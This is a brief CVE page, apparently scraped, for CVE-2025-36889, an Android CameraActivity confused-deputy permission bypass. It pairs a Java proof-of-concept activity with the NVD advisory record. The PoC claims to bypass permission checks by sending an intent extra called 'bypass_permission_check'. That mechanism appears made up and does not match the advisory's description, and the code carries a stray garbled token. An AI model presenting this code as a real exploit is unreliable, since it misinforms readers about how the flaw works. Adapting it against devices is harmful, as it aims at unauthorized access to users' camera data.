CVE-2025-36889

// CVE-2025-36889 PoC - Android Camera Permission Bypass // This PoC demonstrates the confused deputy vulnerability in CameraActivity package com.example.cve202536889; import android.content.Intent; import android.os.Bundle; import androidx.appcompat.app.AppCompatActivity; public class MainActivity extends AppCompatActivity { @n @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); // Trigger the vulnerable code path in CameraActivity Intent maliciousIntent = new Intent(); maliciousIntent.setClassName("com.android.camera2", "com.android.camera.CameraActivity"); maliciousIntent.setAction("android.media.action.STILL_IMAGE_CAMERA"); maliciousIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // Add exploit-specific extras to bypass permission checks Bundle exploitBundle = new Bundle(); exploitBundle.putBoolean("bypass_permission_check", true); maliciousIntent.putExtras(exploitBundle); try { startActivity(maliciousIntent); } catch (SecurityException e) { // Handle permission exception } } }

{"cve": {"id": "CVE-2025-36889", "sourceIdentifier": "[email protected]", "published": "2025-12-11T20:15:55.900", "lastModified": "2025-12-12T17:29:23.980", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In onCreateTasks of CameraActivity.java, there is a possible permission bypass due to a confused deputy. This could lead to local information disclosure with no additional execution privileges needed. User interaction is not needed for exploitation."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-441"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:google:android:-:*:*:*:*:*:*:*", "matchCriteriaId": "F8B9FEC8-73B6-43B8-B24E-1F7C20D91D26"}]}]}], "references": [{"url": "https://source.android.com/security/bulletin/pixel/2025-12-01", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}